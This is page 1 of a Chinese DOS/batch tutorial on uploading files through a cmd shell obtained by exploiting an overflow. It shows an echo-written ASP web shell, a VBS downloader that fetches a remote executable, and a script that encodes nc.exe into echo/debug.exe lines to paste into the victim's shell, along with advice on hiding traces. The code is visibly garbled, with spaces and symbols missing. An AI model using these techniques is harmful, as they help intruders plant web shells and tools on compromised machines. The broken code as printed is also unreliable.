Do All in Cmd Shell一切在命令行下完成第1/6页_DOS/BAT教程-查字典教程网
Do All in Cmd Shell一切在命令行下完成第1/6页
Do All in Cmd Shell一切在命令行下完成第1/6页
发布时间:2016-12-28 来源:查字典编辑
摘要:文件传输对于溢出漏洞获得的cmdshell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。...

文件传输

对于溢出漏洞获得的cmdshell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:

1,用Echo命令写ASP木马。

前提当然是目标主机上已经安装了IIS。

一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。

直接给出echo版:

@echo^>up.asp

注意,只有一行,中间没有回车符。

生成的up.asp不能用浏览器访问,只能用下面这个脚本:

withwscript

if.arguments.count>dl.vbs

@echow.open"get",.arguments(0),0:w.send:ifw.status^>200then.echo"Error:"+w.status:.quit>>dl.vbs

@echoaso.type=1:aso.open:aso.writew.responsebody:aso.savetofile.arguments(1),2:endwith>>dl.vbs

举例——下载ps.exe并保存到c:path下:

cscriptdl.vbshttp://www.sometips.com/soft/ps.exec:pathps.exe

注意,这是在远程shell中执行的。

4,Echo经过编码的任何文件,再用脚本+debug还原。

前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出"杀手锏"了!

echo命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:

fp=wscript.arguments(0)

fn=right(fp,len(fp)-instrrev(fp,""))

withcreateobject("adodb.stream")

.type=1:.open:.loadfromfilefp:str=.read:sl=lenb(str)

endwith

sll=slmod65536:slh=sl65536

withcreateobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)

.write"@echostr="""

fori=1tosl

bt=ascb(midb(str,i,1))

ifbt>debug.vbs"+vbcrlf+"@echo+"""

next

.writeline""">>debug.vbs"+vbcrlf+"@echowithwscript.stdout:r=vbcrlf"_

+":fori=1tolen(str)step48:.write""e""+hex(256+(i-1)/2)"_

+":forj=itoi+46step2:.write""""+mid(str,j,2):next:.writer:next>>debug.vbs"

.writeline"@echo.write""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_

+"""+r+""ndebug.tmp""+r+""w""+r+""q""+r:endwith"_

+">>debug.vbs&&cscript//nologodebug.vbs|debug.exe>nul&&rendebug.tmp"""&fn&"""&deldebug.vbs"

endwith

将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:

cscriptecho.vbsnc.exe

也可以直接把要传输的文件的图标拖放到脚本文件的图标上。

稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:

@echostr="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs

@echo+"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs

@echo+"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs

@echo+"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs

…………

…………(省略若干行)

…………

@echo+"">>debug.vbs

@echowithwscript.stdout:r=vbcrlf:fori=1tolen(str)step48:.write"e"+hex(256+(i-1)/2):forj=itoi+46step2:.write""+mid(str,j,2):next:.writer:next>>debug.vbs

@echo.write"rbx"+r+"0"+r+"rcx"+r+"E800"+r+"ndebug.tmp"+r+"w"+r+"q"+r:endwith>>debug.vbs&&cscript//nologodebug.vbs|debug.exe>nul&&rendebug.tmp"NC.EXE"&deldebug.vbs

全选-》复制-》切换到远程命令行窗口-》粘贴。

如果网速不是很慢的话,整个上传过程大约需要20秒。

几点说明:

1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。

2,在传输大文件前,可以先传个小的文件作为"热身",让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。

3,某些cmdshell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。

4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmdshell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"imod128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。

5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。

能上传文件当然一切都好办了,但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。

当前1/6页123456下一页阅读全文

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新DOS/BAT学习
    热门DOS/BAT学习
    脚本专栏子分类